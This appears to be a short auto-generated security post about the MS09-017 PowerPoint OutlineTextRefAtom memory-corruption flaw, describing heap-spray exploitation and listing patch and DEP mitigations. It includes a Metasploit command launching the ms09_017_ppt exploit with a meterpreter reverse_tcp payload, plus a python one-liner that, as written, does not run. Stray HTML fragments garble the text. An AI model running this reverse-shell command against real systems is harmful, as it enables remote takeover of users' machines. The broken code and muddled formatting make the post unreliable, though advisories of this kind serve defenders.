Listen to this Post
The vulnerability exists within the parsing of the `OutlineTextRefAtom` record in PowerPoint (PPT) files. This atom stores a reference index to text within a slide’s outline. The vulnerable code does not properly validate the value of this index when processing the file. By crafting a PPT file with a specially designed, invalid `OutlineTextRefAtom` index, an attacker can trigger an out-of-bounds memory access. This corrupts the program’s memory in a way that can be leveraged to overwrite critical structures and, ultimately, gain control over the instruction pointer. With careful manipulation of the corrupted memory layout using heap-spraying techniques commonly employed in contemporary exploits, the attacker can redirect execution to malicious shellcode embedded within the file. This leads to the execution of arbitrary code under the privileges of the current user, as seen in the Exploit:Win32/Apptom.gen campaign.
Platform: Microsoft Office PowerPoint
Version: 2000-2003, 2004 Mac
Vulnerability: Memory Corruption
Severity: Critical
date: April 2009
Prediction: May 2009
What Undercode Say:
`strings malicious.ppt | grep -i “OutlineTextRefAtom”`
<
h2 style=”color: blue;”>python3 -c "struct.pack('<I', 0xFFFFFFFF)" > evil_index.bin
`msfconsole -q -x “use exploit/windows/fileformat/ms09_017_ppt; set PAYLOAD windows/meterpreter/reverse_tcp; exploit”`
How Exploit:
Crafted PPT file contains malformed `OutlineTextRefAtom` index. Upon opening, index triggers out-of-bounds write, corrupting heap memory. Subsequent operations are manipulated to execute attacker-controlled shellcode, often via a sprayed heap containing NOP sleds and payload.
Protection from this CVE:
Apply patch MS09-017. Enable Data Execution Prevention (DEP). Do not open untrusted PowerPoint files. Use Office in Protected View.
Impact:
Remote Code Execution. Full system compromise. Malware installation (Apptom.gen).
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: www.cve.org
Extra Source Hub:
Undercode
